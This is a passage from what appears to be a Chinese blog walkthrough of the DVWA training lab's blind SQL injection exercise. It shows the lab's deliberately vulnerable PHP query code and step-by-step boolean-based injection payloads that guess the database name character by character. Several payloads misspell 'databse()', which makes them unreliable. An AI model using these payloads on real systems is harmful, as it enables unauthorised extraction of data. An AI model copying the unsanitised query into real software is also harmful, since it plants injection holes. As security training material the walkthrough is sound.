DVWA V1.9：SQL Injection（SQL盲注）

最新推荐文章于 2024-04-08 14:44:20 发布

CNwanku

最新推荐文章于 2024-04-08 14:44:20 发布

阅读量299

点赞数

分类专栏：靶场实战文章标签：安全渗透 dvwa sql注入

本文链接：https://blog.csdn.net/qq_43233085/article/details/104089730

版权

本文详细介绍了DVWA中的SQL Injection漏洞，包括Low、Medium、High和Impossible四个级别，重点讨论了盲注攻击，如基于布尔的盲注和基于时间的盲注。通过核心代码分析和漏洞利用步骤，展示了如何通过一系列真假问题来窃取数据，以及如何应对各种防护措施。

摘要由CSDN通过智能技术生成

SQL Injection 介绍

当攻击者执行SQL注入攻击时，有时服务器响应来自数据库服务器的错误消息，抱怨SQL查询的语法不正确。
盲SQL注入与正常SQL注入是相同的，除了当攻击者试图开发应用程序时，而不是得到有用的错误消息时，它们会得到由开发人员指定的通用页。
这使得开发一个潜在的SQL注入攻击更加困难，但并非不可能。
攻击者仍然可以通过SQL语句询问一系列真假问题来窃取数据，并监视Web应用响应（有效条目重整或404头集）的方式。

“时间为基础”的注入方法经常使用，当页面的响应如何不同（因此它是盲目攻击）时，没有可见的反馈。
这意味着攻击者将拭目以待页面响应回退需要多长时间。如果需要比正常时间长，他们的查询就成功了。
在这里插入图片描述
下面简要介绍手工盲注的步骤（可与之前的手工注入作比较）：

1.	判断是否存在注入，注入是字符型还是数字型
2.	猜解当前数据库名
3.	猜解数据库中的表名
4.	猜解表中的字段名
5.	猜解数据

Low 级别

核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
   
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
   
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
   
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到，Low级别的代码对参数id没有做任何检查、过滤，存在明显的SQL注入漏洞，同时SQL语句查询返回的结果只有两种，

User ID exists in the database.
与
User ID is MISSING from the database.

官方提示

SQL查询使用由攻击者直接控制的原始输入。
他们需要做的就是逃避查询，然后他们能够执行他们希望的任何SQL查询。

Spoiler: ?id=1' AND sleep 5&Submit=Submit.

漏洞利用

基于布尔的盲注

1.判断是否存在注入，注入是字符型还是数字型
输入1，显示相应用户存在：
在这里插入图片描述
输入1’ and 1=1 #，显示存在。
输入1’ and 1=2 #，显示不存在。
说明存在字符型的SQL盲注。

2.猜解当前数据库名
想要猜解数据库名，首先要猜解数据库名的长度，然后挨个猜解字符。

输入1’ and length(database())=1 #，显示不存在；
输入1’ and length(database())=2 #，显示不存在；
输入1’ and length(database())=3 #，显示不存在；
输入1’ and length(database())=4 #，显示存在：

说明数据库名长度为4。
下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97  #，显示存在，说明数据库名的第一个字符的ascii值大于97（小写字母a的ascii值）；
输入1’ and ascii(substr(databse(),1,1))<122 #，显示存在，说明数据库名的第一个字符的ascii值小于122（小写字母z的ascii值）；
输入1’ and ascii(substr(databse(),1,1))<109 #，显示存在，说明数据库名的第一个字符的ascii值小于109（小写字母m的ascii值）；
输入1’ and ascii(substr(databse(),1,1))<103 #，显示存在，说明数据库名的第一个字符的ascii值小于103（小写字母g的ascii值）；
输入1’ and ascii(substr(databse(),1,1))<100 #，显示不存在，说明数据库名的第一个字符的ascii值不小于100（小写字母d的ascii值）；
输入1’ and ascii(substr(